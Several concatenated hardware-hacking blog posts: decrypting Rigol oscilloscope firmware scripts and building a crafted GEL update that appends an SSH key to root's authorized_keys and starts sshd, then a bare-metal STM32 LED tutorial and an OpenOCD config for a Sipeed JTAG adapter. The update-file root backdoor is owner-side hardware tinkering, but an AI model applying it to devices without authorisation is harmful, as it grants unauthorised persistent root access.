So with the locale set, the binary runs but complains about a missing /tmp/env.bin file. Just creating an empty one leads to a segmentation fault, hinting at an unchecked read in the file. An all-zeros file works, but leads to a CRC error.

Since the CRC of 0xff is 0xff we can play around a bit:

$ printf '\xff\x00\x00\x00\xff' > /tmp/env.bin 
$ LC_ALL=C LD_LIBRARY_PATH=./lib:./rigol/Qt5.5/lib qemu-arm -L ./ rigol/tools/cfger
crc error
$ printf '\x00\x00\x00\xff\xff' > /tmp/env.bin 
$ LC_ALL=C LD_LIBRARY_PATH=./lib:./rigol/Qt5.5/lib qemu-arm -L ./ rigol/tools/cfger
"\uFFFD"
"UTF-8"
"\u0019"

We got some output, yay! Let's try the -d flag from update.sh:

$ LC_ALL=C LD_LIBRARY_PATH=./lib:./rigol/Qt5.5/lib qemu-arm -L ./ rigol/tools/cfger -d ../fw4linux.sh /tmp/fw4linux.sh
$ head /tmp/fw4linux.sh 
#!/bin/sh

model=MSO5074
softver=00.01.03.00.01
builddate="2020-03-30 15:56:36
[...]

Nice! We can also try to see if the binary has help with -h and it turns out it does! And there is even a -e flag we can use to encrypt our own fw4linux.sh.

Running SSH

Further examination of the startup (etc/inittab and etc/init.d/rcS) tells us that there is an sshd- but it's commented out and thus will not start by default. Additionally, we don't know the root password.

But since we can create our own GEL file with an fw4linux.sh script, we can fix that:

#!/bin/sh
mkdir -p "/root/.ssh/"
echo "ssh-rsa YOURRSAPUBKEY your-key-comment" >> "/root/.ssh/authorized_keys"
/etc/init.d/S50sshd restart
exit 1

I saved this as /tmp/runssh.sh, so we can encrypt it and pack it up as a tar file:

$ LC_ALL=C LD_LIBRARY_PATH=./lib:./rigol/Qt5.5/lib qemu-arm -L ./ rigol/tools/cfger -e /tmp/runssh.sh /tmp/fw4linux.sh
$ cd /tmp
$ tar -cf DS5000Update.GEL fw4linux.sh

We can put the resulting GEL file onto a USB stick and give it a try on the scope. My scope is running an older firmware, but it's unlikely Rigol has changed a lot, so there's a good chance it will work.

Insert the USB stick, press the "Utility"-button -> "System" -> "Help" -> "Local upgrade" -> "OK". It will say the upgrade failed, but trying to connect via SSH should succeed. Login with root and your private key.

Check out part 2 where we poke around the running system a bit.

These days, there are many easy to use environments for microcontroller programming. You have the popular Arduino platform but also the IDEs and tools provided by the different chip manufacturers as well as several open source efforts.

While these are certainly great for getting your project going, they often gloss over the actual "bare metal" details of the chip you work with. So let's explore a bit and peek under the hood.

Hardware

For this post, I'm going to use a little STM32 dev board that is generally advertised as the "Blue Pill" and can be found on eBay, Aliexpress or your other favorite source of cheap gadgets from China.

The board is based around an STM32F103C8T6 chip. It contains a 32bit ARM Cortex M3 microcontroller and lots of peripherals. You can typically get the boards for less than 2$ per piece. While the identifier "STM32F103C8T6" might look scary at first, it's actually quite simple: It's a part from STMicroelectronics, has a 32bit CPU, is part of the F1 family, specifically the F103 model. C8T6 encodes things like which chip package is used and how much flash memory is included (in this case 64kB).

Since the chip features an ARM 32bit CPU, we will need a compiler that can target tthat architecture. I'll use GCC - so the compiler we want is gcc-arm-none-eabi (targeting ARM, no OS, embedded ABI). If you're using Ubuntu, Debian or Raspbian, you can install the compiler via apt-get install gcc-arm-none-eabi.

How do you program a micro controller?

Contrary to your typical $FAVORITE_OS program, you do not (generally) have any libraries or environment around your code. Instead, the instructions your code is compiled into just run directly, one after each other.

Another important aspect is that you do not have virtual memory - so you do not have a private large memory space you can use as you like and you talk to a kernel when you want to do anything with hardware. Instead, you are directly accessing the physical memory (RAM).

The physical memory you can use for your program however does not start at address 0. It is actually a relatively small chunk among other things at are made to look like they are part of memory. So what else do we have there? Let's have a look at the datasheet. In section 4, we can see how memory is organized. The interesting bits are:

So we can't just write our data / variables to arbitrary memory locations - they might not be backed by RAM. Or even worse, they might be backed by some memory mapped hardware and we could get interesting side effects.

We now know that address 0 actually either maps to the embedded flash memory or the hardwired system memory. Which one we get is determined by the boot pins (BOOT0 and BOOT1). If we select flash, whatever we put in there appears starting at address 0.

The Linker

While the compiler takes care of translating our C code to machine instructions (for ARM in our case), the linker is responsible for resolving references between functions, globals or in more generic terms "symbols". It also lays out the final binary image.

We can control this process with linker scripts. Here's a minimal example (linker.ld):

MEMORY
{
    FLASH (rx)  : ORIGIN = 0x08000000, LENGTH = 64K
    RAM   (rwx) : ORIGIN = 0x20000000, LENGTH = 20K
}

SECTIONS
{
    .text : {
        /* Start at 0 for the code in flash */
        . = 0;

        /* At the very beginning, we need the interrupt vectors.
        * We need to mark this KEEP to make sure it doesn't get garbage collected.
        * The syntax *(.foo) means take the .foo sections from all files. */
        KEEP(*(.interrupt_vectors))

        /* The whole interrupt table is 304 bytes long. Advance to that position in case
        * the supplied table was shorter. */
        . = 304;

        /* And here comes the rest of the code, ie. all symbols starting with .text */
        *(.text*)
    } > FLASH = 0xFF /* Put this in the flash memory region, default to 0xFF */

    _end_of_ram = ORIGIN(RAM) + LENGTH(RAM); /* Define a symbol for the end of ram */
}

MEMORY defines the location an size of flash and ram. We start laying out the text section at position 0, first putting the interrupt_vectors section, ensuring it is at least 304 bytes long and then we collect all .text sections with the code. A special symbol _end_of_ram is defined to point at the byte just after the last usable ram byte - we will need this to initialize the stack pointer.

The flash memory's default state is 0xFF and not 0x00, so we'll set this as the fill value. Also note that there would be two options for the flash ORIGIN address: We could use either 0x0000 0000 or 0x0800 0000, but remember that it only appears at at 0x0000 0000 if we set the boot configuration as such. So if we chose to boot differently, it will not be there.

Writing some code

With the linker script prepared, let's write some code. The hello world of micro controllers is to blink an LED. The Blue Pill has one on board which is connected to pin PC13.

So far, we've only looked at the datasheet. In order to write code that accesses peripherals like the GPIO module to blink the LED, we'll need more information. We can find the necessary details in the document RM0008: The reference manual for the STM32F1xx parts.

Don't get scared by the over 1100 pages of text. We will reference specific sections to figure out what we're after. A good place to start is section 3.1: System architecture. Here we can see that there are 1 CPU core and 2 DMA engines accessing flash, ram and peripherals through a bus matrix. The peripherals sit behind the AHB on two peripheral buses: APB1 and APB2. GPIOC which we need for controlling our LED at PC13 is on APB2.

Clock gating

One thing that might not immediately be obvious is that the clock for these peripherals can be turned off to conserve power. And they do default to off. So we first need to turn the clock for port C on. Where we do that is described in section 7.3.7: APB2 peripheral clock enable register (RCC_APB2ENR)

So we want to set bit 4 of this register to 1 to enable port C, but where is this register in memory? We're only being told that it is at address 0x18 within the memory for RCC configuration. So let's go back to section 3.3 to consult the memory map. There, "Reset and clock control RCC" is listed at 0x4002 1000. Adding 0x18 we get 0x4002 1018.

GPIO config

So what else do we need to do? Section 9 covers GPIO. Looks like have quite some options. Let's just do a simple push-pull output. Table 20 and 21 tell us that we need CNF=00 and MODE=11 for a max. 50 MHz speed push-pull.

Section 9.2.2 documents the register we need. The bits for pin 13 are 20-23. Note the reset value 0x4444 4444: We'll have to leave the other bits with those values to avoid changing the config of any other pins. The section specifies an address offset of 0x04, but what is the base for this? Our trusty memory map in section 3.3 points us at 0x4001 1000 for GPIO Port C, so we get 0x4001 1004.

Toggling the GPIO pin

Finally, we need to toggle the pin between high and low to blink the LED. We can use the trick described in section 9.1.2 to atomically set/reset only the pin we're interested in. The BSRR register for that purpose is at offset 0x10 as described in section 9.2.5. We need to set bit 13 to make PC13 high and bit 29 to make it low respectively.

Putting it all together

With this information, we can put together our main.c:

// This is the symbol defined in the linker script.
extern unsigned long _end_of_ram;

// We'll implement main a bit further down but we need the symbol for
// the initial program counter / start address.
void main();

// This is our interrupt vector table that goes in the dedicated section.
__attribute__ ((section(".interrupt_vectors"), used))
void (* const interrupt_vectors[])(void) = {
    // The first 32bit value is actually the initial stack pointer.
    // We have to cast it to a function pointer since the rest of the array
    // would all be function pointers to interrupt handlers.
    (void (*)(void))((unsigned long)&_end_of_ram),

    // The second 32bit value is the initial program counter aka. the
    // function you want to run first.
    main
};

void wait() {
    // Do some NOPs for a while to pass some time.
    for (unsigned int i = 0; i < 2000000; ++i) __asm__ volatile ("nop");
}

void main() {
    // Enable port C clock gate.
    *((volatile unsigned int *)0x40021018) |= (1 << 4);

    // Configure GPIO C pin 13 as output.
    *((volatile unsigned int *)0x40011004) = ((0x44444444 // The reset value
        & ~(0xfU << 20))  // Clear out the bits for pin 13
        |  (0x3U << 20)); // Set both MODE bits, leave CNF at 0

    while (1) {
        // Set the output bit.
        *((volatile unsigned int *)0x40011010) = (1U << 13);
        wait();
        // Reset it again.
        *((volatile unsigned int *)0x40011010) = (1U << 29);
        wait();
    }
}

This program essentially only consists of two parts: - The interrupt vector table that specifies the initial stack pointer and our entrypoint - A super tiny main function that sets up the GPIO pin and toggles it in a loop

If you're wondering how I came up with 2000000 loop iterations: By default, the CPU runs off a 8MHz internal oscillator. Each loop iteration takes a few instructions, so if we count to 2 million, it's more or less going to take about a second.

We can compile:

arm-none-eabi-gcc -ggdb -Wall -Os -mthumb -nostdlib -o main.o -c main.c

link:

arm-none-eabi-gcc -ggdb -Os -Wl,--gc-sections -mthumb -mcpu=cortex-m3 -Tlinker.ld -o main.elf main.o

and flash (using the JTAG adapter described in this post):

openocd -f sipeed.cfg -c "program main.elf verify reset exit"

and you should see the onboard LED start blinking.

Check out part 2 to do more with OpenOCD.

I recently got a Sipeed USB-JTAG/TTL debugger - mainly because I was looking for a JTAG adapter and it looked compact and somewhat sturdy.

You can find these in the usual places (Seedstudio, Aliexpress, etc.) for around 10$. The documentation seems a bit sparse or rather non-existent though. There is a schematic on Github that is as far as I can tell reasonably accurate.

Plugging it in reveals:

$ lsusb
Bus 001 Device 006: ID 0403:6010 Future Technology Devices International, Ltd FT2232C Dual USB-UART/FIFO IC

which matches the schematic linked above as well.

So what's this FTDI chip?

The FT2232C (datasheet) the debugger uses seems like an interesting chip: It's a USB to serial bridge with 2 channels. The first channel has some extra features: You can configure it in "Multi-Protocol Synchronous Serial Engine (MPSSE)"-mode (application note). With that, you can implement serial protocols with clocking like SPI or JTAG.

Additionally, there are GPIO pins that can be used together with the fixed data in/out and clock pins. The Sipeed debugger connects GPIOL1 aka ADBUS5 to the pin labelled "RST". You could in principle use this pin for anything - but it's of course ideal for controlling the reset signal of your chip.

OpenOCD

OpenOCD supports several different FTDI-based adapters with the ftdi interface type but does not define any presets for the Sipeed adapter in particular. It is however configurable and we can make it work for us. To talk to a "Blue Pill" (STM32 F1 family MCU) dev board, we can use a config like this:

# Tell OpenOCD to use the ftdi interface
interface ftdi

# Find the device based on the USB vendor/product ID
ftdi_vid_pid 0x0403 0x6010

# FT2232C IO bits per schematic:
# 0: TCK, Output
# 1: TDO, Output
# 2: TDO, Input
# 3: TMS, Output
# 4: Not connected
# 5: RST, Output
#
# The first 16bit value is the initial IO state. Just make TMS and RST high
# The second 16bit value is data direction for each pin, 1 = Output
ftdi_layout_init 0x0028 0x2b

# We'll use RST for the system reset, not the JTAG reset. Thus, disable nTRST
# by setting data and enable mask to 0. If you want to use
# the RST pin for nTRST instead, switch this and the nSRST line.
ftdi_layout_signal nTRST -data 0x0 -oe 0x0

# RST is on bit 5, so the mask is 0x20. The pin is directly connected, so
# we don't have an output-enable pin -> set the same mask
ftdi_layout_signal nSRST -data 0x0020 -oe 0x0020

# JTAG mode
transport select jtag

# And finally include the config for the target we're using. You could
# also skip this here and instead pass it via commandline arguments to openocd
source [find target/stm32f1x.cfg]

Finally launching OpenOCD: openocd -f sipeed.cfg. Or to flash an ELF binary: openocd -f sipeed.cfg -c "program thebinarytoflash.elf verify reset exit"

In parallel, you can still use the second serial port as usual.